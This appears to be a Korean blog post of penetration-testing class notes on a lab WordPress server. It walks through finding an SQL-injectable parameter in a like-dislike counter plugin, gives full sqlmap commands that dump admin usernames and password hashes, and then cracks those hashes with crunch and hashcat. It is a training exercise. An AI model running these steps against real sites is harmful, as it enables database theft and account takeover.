일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- algotithm
- meterpreter
- java
- programmers
- 취약점
- SQLMap
- 라우터
- 웹해킹
- Suninatas
- HTML Injection
- stock price
- ToDoList
- 미터프리터
- SQL Injection
- study
- wpscan
- leetcode
- 취약점진단
- 모드 설정
- StringBuilder
- metasploit
- Router
- todo List
- 모의해킹
- todo
- 써니나타스
- 정보시스템
- hackerrank
- Algorithm
- CSRF
- Today
- Total
보안 / 개발 챌린저가 목표
모의해킹 실습 (4) 본문
▶ SQL Injection 응용
- 모의해킹 사이트 환경
[Ubuntu Wordpress] http://192.168.0.104
[Window XP] http://192.168.0.133
❓ Quiz 1 ❓ SQLi 취약점이 있는 파라미터(인자) 확인하고 sqlmap을 이용하여 관리자 ID / PW를 출력해보기.
<참고> https://eliez3r.github.io/post/2019/10/25/study-db-sqlmap.html
① 취약한 파라미터 찾기
☞ g를 검색했을 때 파라미터가 s로 넘어간다. 하지만 취약 파라미터는 아님.
☞ 댓글을 남길 때 넘어가는 파라미터 중,
unapproved가 있다.
하지만 취약 파라미터 아님.
☞ 참 값을 넣어주면,
☞ 1(true)이 나온다.
☞ 마찬가지로, 거짓 값을 넣어주면 0(false)이 나온다.
⇒ 이를 바탕으로, post_id가 반응이 있는 파라미터이다.
② 취약한 파라미터 찾아보기
- http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php
- post_id=1&up_type=like
⇒ 이 두개를 가지고 Kali에서 sqlmap을 이용하여 확인!
③ 필요한 DB 찾기
sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id --level=3 --dbs
☞ 우리가 필요한 Database = wordpress
④ 필요한 DB(wordpress)를 찾은 후, table 목록 출력하기
sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id -D wordpress --tables
☞ wordpress의 table 목록
우리가 필요한 table = wp_users
⑤ table의 컬럼들 출력하기
sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -D wordpress -T wp_users --columns
☞ 관리자 ID와 PW의 컬럼 선택!
ID : user_login
PW : user_pass
⑥ 해당 컬럼의 값을 알아내기
sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -D wordpress -T wp_users -C "user_login, user_pass" --dump
☞ 첫 번째 yes, 두 번째 no
결과 값이 나옴
▷ 해시값 크랙하기
- Crunch 란?
§ 여러가지 숫자 or 특수문자 등을 조합하여 패스워드 조합 문자를 만들어주는 프로그램
cd /usr/share/crunch/
- crunch 디렉토리로 들어가서 목록을 확인
- charset.lst 를 cat으로 읽어보면 lalpha 를 찾을 수 있음(소문자로 만드는 것)
crunch 1 5 -f /usr/share/crunch/charset.lst lalpha -o ~/wordlist.txt
- 크런치라는 툴로 최소 1자리부터 최대 5자리까지 영어 소문자(lalpha)로 조합 문자 만들기
(home 디렉토리에 wordlist.txt 만들어짐)
(-f : file / -o : output)
- home에 wordlist.txt 생김
- hashcat 을 설치하여 폴더 안에 passwd.txt 파일을 생성 후, 이 파일에 위에 만든 해시값 저장.
- -a : attack 모드 0 (디폴트)
- -m : 해시값이 어떤 종류의 해시값인지 알면 400 넘버링을 해달라는 뜻
*400은 phpass. 해시값의 종류에 따라 -m을 잘 사용해야 함
- hashcat 폴더에서 cmd 창을 엶
hashcat -a 0 -m 400 -d 1 -o crack.txt passwd.txt wordlist.txt
- crack.txt가 생기고, 해당 폴더를 열어보면
- 결과가 나온 것을 확인할 수 있음
'IT Security > Class_Do it' 카테고리의 다른 글
모의해킹 실습 (5) (0) | 2020.10.16 |
---|---|
모의해킹 실습 (3) (0) | 2020.10.14 |
모의해킹 실습 (2) (0) | 2020.10.12 |
모의해킹 실습 (1) (0) | 2020.10.07 |
네트워크 장비 진단 (0) | 2020.09.25 |